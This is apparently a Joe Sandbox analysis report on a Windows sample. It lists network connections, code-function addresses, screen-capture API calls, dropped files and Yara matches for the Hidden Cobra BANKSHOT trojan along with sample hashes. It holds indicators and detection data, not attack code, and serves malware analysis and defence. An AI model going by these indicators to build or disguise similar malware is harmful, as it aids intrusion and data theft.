Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921

Source: unknown	HTTPS traffic detected: 13.107.246.64:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.64:443 -> 192.168.2.5:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.64:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49979 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

1_2_00411F55

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.MSBuild.exe.43f8e0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 1.2.MSBuild.exe.43dcd8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 1.2.MSBuild.exe.43f8e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	1_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C51B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51B8C0 rand_s,NtQueryVirtualMemory,	1_2_6C51B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6C51B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4BF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C4BF280

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003C2021	0_2_003C2021
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0041A1BB	0_2_0041A1BB
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003C729C	0_2_003C729C
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0040E36F	0_2_0040E36F
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003DD39B	0_2_003DD39B
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0040945D	0_2_0040945D
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_004064F5	0_2_004064F5
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0041A559	0_2_0041A559
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_004086FD	0_2_004086FD
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003D572C	0_2_003D572C
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0041A92B	0_2_0041A92B
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003CCAF2	0_2_003CCAF2
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003DBB36	0_2_003DBB36
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003D3C92	0_2_003D3C92
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003C1D79	0_2_003C1D79
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_0041AD13	0_2_0041AD13
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_00419D26	0_2_00419D26
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: 0_2_003CFEF0	0_2_003CFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041C585	1_2_0041C585
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041B825	1_2_0041B825
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DA53	1_2_0042DA53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D2E3	1_2_0042D2E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042CE4E	1_2_0042CE4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041961D	1_2_0041961D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042DE3B	1_2_0042DE3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0042D681	1_2_0042D681
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4B35A0	1_2_6C4B35A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4C5440	1_2_6C4C5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52545C	1_2_6C52545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C502C10	1_2_6C502C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52AC00	1_2_6C52AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F5C10	1_2_6C4F5C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52542B	1_2_6C52542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4C64C0	1_2_6C4C64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4DD4D0	1_2_6C4DD4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4BD4E0	1_2_6C4BD4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F6CF0	1_2_6C4F6CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4C6C80	1_2_6C4C6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5134A0	1_2_6C5134A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51C4A0	1_2_6C51C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4CFD00	1_2_6C4CFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4E0512	1_2_6C4E0512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4DED10	1_2_6C4DED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F0DD0	1_2_6C4F0DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5185F0	1_2_6C5185F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4D4640	1_2_6C4D4640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4D9E50	1_2_6C4D9E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C502E4E	1_2_6C502E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F3E50	1_2_6C4F3E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C526E63	1_2_6C526E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4BC670	1_2_6C4BC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C505600	1_2_6C505600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F7E10	1_2_6C4F7E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C519E30	1_2_6C519E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5276E3	1_2_6C5276E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4BBEF0	1_2_6C4BBEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4CFEF0	1_2_6C4CFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51E680	1_2_6C51E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4D5E90	1_2_6C4D5E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C514EA0	1_2_6C514EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4C9F00	1_2_6C4C9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F7710	1_2_6C4F7710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4BDFE0	1_2_6C4BDFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4E6FF0	1_2_6C4E6FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5077A0	1_2_6C5077A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4D8850	1_2_6C4D8850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4DD850	1_2_6C4DD850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4FF070	1_2_6C4FF070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4C7810	1_2_6C4C7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4FB820	1_2_6C4FB820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C504820	1_2_6C504820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5250C7	1_2_6C5250C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4DC0E0	1_2_6C4DC0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F58E0	1_2_6C4F58E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4E60A0	1_2_6C4E60A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4DA940	1_2_6C4DA940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C50B970	1_2_6C50B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52B170	1_2_6C52B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4CD960	1_2_6C4CD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C512990	1_2_6C512990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F5190	1_2_6C4F5190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4BC9A0	1_2_6C4BC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4ED9B0	1_2_6C4ED9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F9A60	1_2_6C4F9A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4F8AC0	1_2_6C4F8AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4D1AF0	1_2_6C4D1AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4FE2F0	1_2_6C4FE2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C52BA90	1_2_6C52BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C522AB0	1_2_6C522AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4B22A0	1_2_6C4B22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4E4AA0	1_2_6C4E4AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4CCAB0	1_2_6C4CCAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4B5340	1_2_6C4B5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4CC370	1_2_6C4CC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4FD320	1_2_6C4FD320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5253C8	1_2_6C5253C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C4BF380	1_2_6C4BF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C56AC60	1_2_6C56AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C63AC30	1_2_6C63AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C626C00	1_2_6C626C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5BECD0	1_2_6C5BECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C55ECC0	1_2_6C55ECC0
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00062021	8_2_00062021
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00092088	8_2_00092088
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000940C8	8_2_000940C8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00092123	8_2_00092123
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000BE132	8_2_000BE132
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000BE1A8	8_2_000BE1A8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0008E1CF	8_2_0008E1CF
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00098278	8_2_00098278
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0008E27B	8_2_0008E27B
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0008E272	8_2_0008E272
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0008E455	8_2_0008E455
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00090488	8_2_00090488
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0008E527	8_2_0008E527
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000BE738	8_2_000BE738
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000C8798	8_2_000C8798
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000D4988	8_2_000D4988
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000AAA47	8_2_000AAA47
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00094AC8	8_2_00094AC8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0006CAF2	8_2_0006CAF2
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00096D40	8_2_00096D40
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00098D88	8_2_00098D88
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000BAD84	8_2_000BAD84
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000D4E98	8_2_000D4E98
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0009EF08	8_2_0009EF08
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000D0F18	8_2_000D0F18
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000D6FA8	8_2_000D6FA8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0009B078	8_2_0009B078
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000C51A8	8_2_000C51A8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000971D8	8_2_000971D8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0006729C	8_2_0006729C
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0007D39B	8_2_0007D39B
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000C33C8	8_2_000C33C8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00095468	8_2_00095468
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000A94C8	8_2_000A94C8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00097728	8_2_00097728
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0007572C	8_2_0007572C
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000CB778	8_2_000CB778
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000D1918	8_2_000D1918
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0007BB36	8_2_0007BB36
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_000B9BA8	8_2_000B9BA8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00073C92	8_2_00073C92
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00061D79	8_2_00061D79
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_00097DE8	8_2_00097DE8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0008DED8	8_2_0008DED8
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: 8_2_0006FEF0	8_2_0006FEF0

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C4F94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C4ECBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004104E7 appears 38 times
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: String function: 00099978 appears 93 times
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: String function: 00067B80 appears 49 times
Source: C:\ProgramData\HCAEHDHDAK.exe	Code function: String function: 000AA1D8 appears 152 times
Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe	Code function: String function: 003C7B80 appears 49 times

Source: C:\Users\user\Desktop\VLSiVR4Qxs.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 268

Source: VLSiVR4Qxs.exe, 00000000.00000000.2185499587.0000000000450000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameproquota.exej% vs VLSiVR4Qxs.exe
Source: VLSiVR4Qxs.exe	Binary or memory string: OriginalFilenameproquota.exej% vs VLSiVR4Qxs.exe

Source: VLSiVR4Qxs.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.MSBuild.exe.43f8e0.1.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.MSBuild.exe.43dcd8.2.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.MSBuild.exe.43f8e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: VLSiVR4Qxs.exe	Static PE information: Section: .data ZLIB complexity 0.9919896834935897
